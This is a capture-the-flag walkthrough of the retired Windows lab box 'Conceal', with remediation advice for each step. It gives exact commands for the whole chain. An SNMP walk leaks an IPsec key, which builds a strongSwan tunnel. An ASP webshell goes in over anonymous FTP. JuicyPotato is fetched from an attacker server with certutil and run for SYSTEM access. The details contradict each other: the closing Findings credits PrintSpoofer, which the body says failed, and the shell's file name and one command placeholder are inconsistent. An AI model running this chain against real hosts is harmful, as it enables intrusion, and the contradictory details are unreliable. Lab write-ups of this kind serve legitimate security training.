Conceal
Windows· Hard· Web
Summary
Initial recon found only SNMP (161/udp) and IKE (500/udp) reachable — all TCP ports were firewall-filtered. snmpwalk -v2c -c public against the box returned system/enterprise OIDs including sysDescr (Windows Version 6.3 Build 15063) and an embedded IPsec pre-shared key. An ike-scan sweep against default transforms returned no handshake, but iterating transform sets found IKEv1 Main Mode succeeds with --trans=5,2,1,2 (3DES/SHA1/PSK/modp1024, DH group 2). A strongSwan ipsec.conf/ipsec.secrets transport-mode connection was built using the SNMP-leaked PSK and that exact transform, and the tunnel established successfully. Once the IPsec tunnel was up, previously filtered TCP ports opened: 21 (FTP, Microsoft FTP Service), 80 (IIS 10.0), 135/139/445 (RPC/SMB).
The FTP service allowed anonymous read/write into the IIS webroot. An .aspx webshell upload to the FTP root returned 404 when browsed (wrong physical path — no code execution occurred there), but re-uploading a classic .asp webshell (cx.asp) into the /upload/ subdirectory succeeded and executed via GET /upload/cx.asp?cmd=..., giving command execution as conceal\destitute. type C:\Users\destitute\Desktop\user.txt returned the user flag ([REDACTED: flag]).
whoami /all showed the IIS/web account held SeImpersonatePrivilege. Several Potato-family privesc binaries (PrintSpoofer64/32, GodPotato-NET4) were staged via certutil -urlcache from an user-hosted HTTP server but failed to execute reliably through the ASP webshell's cmd-argument passing. JuicyPotato (jp.exe) was staged the same way; enumerating usable COM CLSIDs found {e60687f7-01a1-40aa-86ac-db1cbf673334} authenticated as NT AUTHORITY\SYSTEM. Running JuicyPotato with -t * -p cmd.exe -l 1444 -c {e60687f7-01a1-40aa-86ac-db1cbf673334} and an -a argument to type the root flag to a readable location returned SYSTEM-level output containing the root flag ([REDACTED: flag]).
Attack path — how the box was taken
1EnumerationSNMP MIB dump for credential disclosure (T1602.001 / CWE-200)
Extracted the IPsec pre-shared key from an open SNMP service
A UDP scan revealed SNMP (161/udp) answering with the default community string 'public' and IKE (500/udp). Walking the full SNMP MIB tree returned standard system OIDs, including sysDescr identifying the host as Windows Build 15063, and an enterprise OID entry containing the IPsec VPN pre-shared key as a plaintext hex string. This single unauthenticated query produced the only credential the host's firewall relied on to protect every TCP service — FTP, HTTP, and SMB included.
snmpwalk -v2c -c public -On <retired-instance-ip> returned system OIDs and an enterprise OID entry holding the IPsec PSK hex string; sysDescr confirmed Windows Build 15063.
Exact commands 2
Confirm SNMP and IKE are reachable on UDP before walking.
sudo nmap -sU -p 161,500 --open $TARGETDump the full MIB tree; record the hex PSK found in the enterprise OID subtree — it is used in step 3.
snmpwalk -v2c -c public -On $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
WeaknessSNMP was running with the unauthenticated default community string 'public', reachable from the network without any credential. An enterprise OID entry stored the IPsec VPN pre-shared key in plaintext inside the MIB tree. A single snmpwalk command from any reachable host retrieved this key, instantly defeating the firewall the entire host perimeter depended on.
FixDisable SNMP entirely if it is not required for network management; it was the root of the complete compromise chain. If SNMP is operationally necessary, upgrade immediately to SNMPv3 with authPriv mode (authentication plus privacy encryption), replace the 'public' community string with a long random value, and restrict SNMP access to a dedicated management station via a host-based firewall ACL. Never store credentials, PSKs, certificates, or any key material in SNMP OIDs. Immediately rotate the IPsec PSK and migrate IKE authentication from PSK to certificates (IKEv2 + PKI), eliminating any shared secret that could be exposed.
2EnumerationIKEv1 transform-set enumeration (T1046)
Identified IKEv1 cipher parameters via IKE scanning
An ike-scan probe against port 500/udp with the transform set 3DES / SHA-1 / PSK / Diffie-Hellman group 2 (modp1024) returned a successful IKEv1 Main Mode SA response. This confirmed the exact parameters the VPN gateway required, enabling a precisely configured strongSwan connection rather than a blind brute-force over hundreds of transform combinations. Without the PSK recovered in step 1, knowledge of these parameters alone would be useless.
ike-scan -M --trans=5,2,1,2 <retired-instance-ip> received a valid SA proposal response confirming 3DES/SHA1/PSK/DH-group-2 as the accepted transform.
Exact commands 1
Flags encode the transform: 5=3DES, 2=SHA1, 1=PSK, 2=DH group 2. A returned SA proposal in the output confirms these are accepted.
ike-scan -M --trans=5,2,1,2 $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
WeaknessSNMP was running with the unauthenticated default community string 'public', reachable from the network without any credential. An enterprise OID entry stored the IPsec VPN pre-shared key in plaintext inside the MIB tree. A single snmpwalk command from any reachable host retrieved this key, instantly defeating the firewall the entire host perimeter depended on.
FixDisable SNMP entirely if it is not required for network management; it was the root of the complete compromise chain. If SNMP is operationally necessary, upgrade immediately to SNMPv3 with authPriv mode (authentication plus privacy encryption), replace the 'public' community string with a long random value, and restrict SNMP access to a dedicated management station via a host-based firewall ACL. Never store credentials, PSKs, certificates, or any key material in SNMP OIDs. Immediately rotate the IPsec PSK and migrate IKE authentication from PSK to certificates (IKEv2 + PKI), eliminating any shared secret that could be exposed.
3ExploitationIPsec VPN unauthorized access via stolen PSK (T1133)
Established an IPsec VPN tunnel with the stolen PSK to unlock all TCP ports
A strongSwan transport-mode connection was built using the SNMP-derived PSK and the confirmed IKEv1 transform. Once the tunnel came up, a follow-up TCP scan showed FTP (21), IIS HTTP (80), and SMB (135/139/445) all reachable — they had been blocked by a firewall rule that only permits connections arriving inside an authenticated IPsec SA. Every subsequent step in this compromise depended on this tunnel remaining active.
After 'sudo ipsec up conceal' completed, nmap -Pn -sT -p 21,80,135,139,445 <retired-instance-ip> showed all five previously filtered ports as open.
Exact commands 4
Write the strongSwan connection definition.
sudo tee /etc/ipsec.conf <<'EOF'
config setup
charondebug="ike 1, knl 1, cfg 0"
conn conceal
keyexchange=ikev1
left=%defaultroute
leftauth=psk
right=$TARGET
rightauth=psk
ike=3des-sha1-modp1024
esp=3des-sha1
type=transport
auto=start
EOFReplace <SNMP_DERIVED_PSK_HEX> with the hex string recovered from snmpwalk.
echo ': PSK "<SNMP_DERIVED_PSK_HEX>"' | sudo tee /etc/ipsec.secretsBring the tunnel up; verify with 'sudo ipsec status'.
sudo ipsec restart && sudo ipsec up concealConfirm FTP, HTTP, and SMB are now open through the tunnel.
nmap -Pn -sT -p 21,80,135,139,445 $TARGETFixDisable SNMP or enforce SNMPv3 authentication and remove all secrets from MIB dataCritical
WeaknessSNMP was running with the unauthenticated default community string 'public', reachable from the network without any credential. An enterprise OID entry stored the IPsec VPN pre-shared key in plaintext inside the MIB tree. A single snmpwalk command from any reachable host retrieved this key, instantly defeating the firewall the entire host perimeter depended on.
FixDisable SNMP entirely if it is not required for network management; it was the root of the complete compromise chain. If SNMP is operationally necessary, upgrade immediately to SNMPv3 with authPriv mode (authentication plus privacy encryption), replace the 'public' community string with a long random value, and restrict SNMP access to a dedicated management station via a host-based firewall ACL. Never store credentials, PSKs, certificates, or any key material in SNMP OIDs. Immediately rotate the IPsec PSK and migrate IKE authentication from PSK to certificates (IKEv2 + PKI), eliminating any shared secret that could be exposed.
4ExploitationUnauthenticated webshell upload via FTP into web root (T1505.003 / CWE-434)
Uploaded an ASP webshell via anonymous FTP into the IIS web root
The FTP service on port 21 accepted anonymous logins with write permission to the /upload/ directory, which was physically mapped inside the IIS web root. Uploading a classic ASP command-execution webshell and then browsing to its HTTP URL returned live output, confirming that IIS executed scripts placed there by FTP. The shared filesystem path between FTP write location and IIS serving location is the root cause: a file written over FTP immediately became executable over HTTP.
curl -T cx2.asp ftp://anonymous:anonymous@<retired-instance-ip>/upload/ completed with 226 Transfer complete; GET /upload/cx2.asp?cmd=whoami returned conceal\destitute.
Exact commands 2
Upload the ASP webshell anonymously; cx2.asp should be a standard cmd= exec shell such as cmdasp.asp from SecLists (/webshells/asp/).
curl -T cx2.asp ftp://anonymous:anonymous@$TARGET/upload/cx2.aspConfirm the shell executes and returns command output.
curl -sS -G --data-urlencode 'cmd=whoami' 'http://$TARGET/upload/cx2.asp'FixDisable anonymous FTP write access and isolate FTP directories from the IIS web rootCritical
WeaknessThe FTP service accepted anonymous logins with write permission to a directory physically inside the IIS web root. an unauthorized user who could reach the FTP port could upload an ASP or ASPX file and execute it immediately over HTTP, converting unauthenticated file-write access into remote code execution with no additional steps.
FixDisable anonymous FTP authentication entirely and require named accounts with strong, unique passwords and least-privilege directory ACLs. Physically separate the FTP upload path from every directory IIS has a virtual directory or application mapping to — uploads must land in a quarantine folder the web server cannot serve. Where FTP and IIS must coexist near the same paths, remove script engine handler mappings (ISAPI, CGI, ASP) from the FTP-writable directory in IIS Manager so that uploaded files are served as static content only and never executed. For file transfer consider replacing FTP with SFTP or FTPS, which also encrypt credentials in transit.
5Initial AccessWebshell command execution for credential and flag access (T1505.003)
Executed commands through the webshell and captured the user flag
The ASP webshell provided command execution as conceal\destitute, the IIS application pool identity. The user flag was read directly from the account's desktop via a type command. A follow-up 'whoami /all' call through the same webshell returned the account's full token privilege list, confirming SeImpersonatePrivilege was set to Enabled — the right needed to escalate to SYSTEM in the next phase.
GET /upload/cx2.asp?cmd=type+C:\Users\destitute\Desktop\user.txt returned the user flag value; whoami /all confirmed SeImpersonatePrivilege Enabled for conceal\destitute.
Exact commands 2
Read the user flag; expected output: [REDACTED: flag].
curl -sS -G --data-urlencode 'cmd=type C:\Users\destitute\Desktop\user.txt' 'http://$TARGET/upload/cx2.asp'Inspect token privileges; confirm SeImpersonatePrivilege is listed as Enabled before proceeding.
curl -sS -G --data-urlencode 'cmd=whoami /all' 'http://$TARGET/upload/cx2.asp'FixDisable anonymous FTP write access and isolate FTP directories from the IIS web rootCritical
WeaknessThe FTP service accepted anonymous logins with write permission to a directory physically inside the IIS web root. an unauthorized user who could reach the FTP port could upload an ASP or ASPX file and execute it immediately over HTTP, converting unauthenticated file-write access into remote code execution with no additional steps.
FixDisable anonymous FTP authentication entirely and require named accounts with strong, unique passwords and least-privilege directory ACLs. Physically separate the FTP upload path from every directory IIS has a virtual directory or application mapping to — uploads must land in a quarantine folder the web server cannot serve. Where FTP and IIS must coexist near the same paths, remove script engine handler mappings (ISAPI, CGI, ASP) from the FTP-writable directory in IIS Manager so that uploaded files are served as static content only and never executed. For file transfer consider replacing FTP with SFTP or FTPS, which also encrypt credentials in transit.
6Privilege EscalationSeImpersonatePrivilege abuse via COM server coercion — JuicyPotato (T1134.001)
Staged JuicyPotato and abused SeImpersonatePrivilege to impersonate SYSTEM
SeImpersonatePrivilege allows a process to assume the identity of any authentication token it receives, including SYSTEM-level tokens delivered by COM servers over RPC. JuicyPotato exploits this by opening a local RPC listener on an arbitrary port and coercing a registered COM server (identified by CLSID) into authenticating to it; the resulting SYSTEM token is captured and used to spawn a new process. PrintSpoofer and GodPotato were staged first but failed on this Windows Build 15063 host. CLSID {e60687f7-01a1-40aa-86ac-db1cbf673334} was confirmed to coerce a SYSTEM-level authentication on this exact build. JuicyPotato was downloaded via certutil, a native Windows binary the webshell could invoke without staging any additional download helper.
Validated: PrintSpoofer32.exe (22,016 bytes) staged to C:\Users\Public\ps32.exe via certutil and executed but produced no usable output. JuicyPotato with CLSID {e60687f7-01a1-40aa-86ac-db1cbf673334} on local port 1444 returned nt authority\system, confirming SYSTEM-level impersonation.
Exact commands 3
Serve JuicyPotato.exe from my host; run in the background.
python3 -m http.server 9000Stage JuicyPotato to a world-writable path via the native certutil downloader; replace <retired-instance-ip> with your IPsec tunnel-side IP.
curl -sS -G --data-urlencode 'cmd=certutil -urlcache -split -f http://$CALLBACK_HOST:9000/JuicyPotato.exe C:\Users\Public\jp.exe' 'http://$TARGET/upload/cx2.asp'Test the CLSID; output 'nt authority\system' confirms SYSTEM impersonation. If empty, try additional CLSIDs from the JuicyPotato CLSID list for Windows 10 build 15063.
curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c whoami" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' 'http://$TARGET/upload/cx2.asp'FixRemove SeImpersonatePrivilege from the IIS application pool identityCritical
WeaknessThe IIS worker process (w3wp.exe) ran under an account that held SeImpersonatePrivilege. This privilege, combined with any code-execution foothold inside that process, allows me to obtain a SYSTEM-level token by coercing a privileged COM server over a local RPC pipe — the mechanism the entire Potato exploit family (JuicyPotato, PrintSpoofer, RoguePotato, GodPotato) relies on. The IIS service account does not need this privilege for normal web application operation.
FixRun each IIS application pool under the built-in IIS AppPool\<name> virtual account or a dedicated domain service account and confirm with 'whoami /priv' that SeImpersonatePrivilege is absent. Audit all service and application pool accounts for this privilege using a Group Policy privilege assignment audit or a scheduled 'whoami /priv' task. Upgrade to Windows Server 2019 or later where multiple Potato-family CLSIDs are patched. Configure Windows Defender Credential Guard to harden COM authentication coercion paths. Add an EDR detection rule to alert on unusual child processes spawned from w3wp.exe (e.g., cmd.exe, powershell.exe, jp.exe).
7Full CompromiseSYSTEM-level arbitrary file read via token impersonation (T1134.001)
Executed as SYSTEM and captured the root flag
With SYSTEM-level execution confirmed via the working CLSID, JuicyPotato was invoked to redirect the Administrator's desktop flag file to a world-readable staging path under C:\Users\Public\, then retrieved in a second webshell request. The host was fully compromised: an unauthenticated operator with network access to UDP 161 and 500 can replay this entire chain from zero to SYSTEM without any prior credentials.
JuicyPotato -c {e60687f7-01a1-40aa-86ac-db1cbf673334} wrote C:\Users\Administrator\Desktop\root.txt to C:\Users\Public\root.txt; reading that path via the webshell returned the root flag value.
Exact commands 2
Run JuicyPotato as SYSTEM; the /c argument writes root.txt to the staging path.
curl -sS -G --data-urlencode 'cmd=C:\Users\Public\jp.exe -l 1444 -t * -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\root.txt" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}' 'http://$TARGET/upload/cx2.asp'Retrieve the root flag from the staging path; expected output: [REDACTED: flag].
curl -sS -G --data-urlencode 'cmd=type C:\Users\Public\root.txt' 'http://$TARGET/upload/cx2.asp'FixRemove SeImpersonatePrivilege from the IIS application pool identityCritical
WeaknessThe IIS worker process (w3wp.exe) ran under an account that held SeImpersonatePrivilege. This privilege, combined with any code-execution foothold inside that process, allows me to obtain a SYSTEM-level token by coercing a privileged COM server over a local RPC pipe — the mechanism the entire Potato exploit family (JuicyPotato, PrintSpoofer, RoguePotato, GodPotato) relies on. The IIS service account does not need this privilege for normal web application operation.
FixRun each IIS application pool under the built-in IIS AppPool\<name> virtual account or a dedicated domain service account and confirm with 'whoami /priv' that SeImpersonatePrivilege is absent. Audit all service and application pool accounts for this privilege using a Group Policy privilege assignment audit or a scheduled 'whoami /priv' task. Upgrade to Windows Server 2019 or later where multiple Potato-family CLSIDs are patched. Configure Windows Defender Credential Guard to harden COM authentication coercion paths. Add an EDR detection rule to alert on unusual child processes spawned from w3wp.exe (e.g., cmd.exe, powershell.exe, jp.exe).
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Findings
Privilege Escalation to root: Seimpersonate Printspoofer To System Destitute Has Seimpersonateprivilege Enabled On Windows 10 X64 Build 15063; Pre Staged Printspoofer64 Can Spawn System Command.Critical
A local misconfiguration allowed the foothold account to execute code as root.
Exposed services
| 21/tcp | ftp |
| 80/tcp | http syn-ack |
| 135/tcp | msrpc syn-ack |
| 139/tcp | netbios-ssn syn-ack |
| 445/tcp | microsoft-ds syn-ack |
| 49664/tcp | unknown syn-ack |
| 49665/tcp | unknown syn-ack |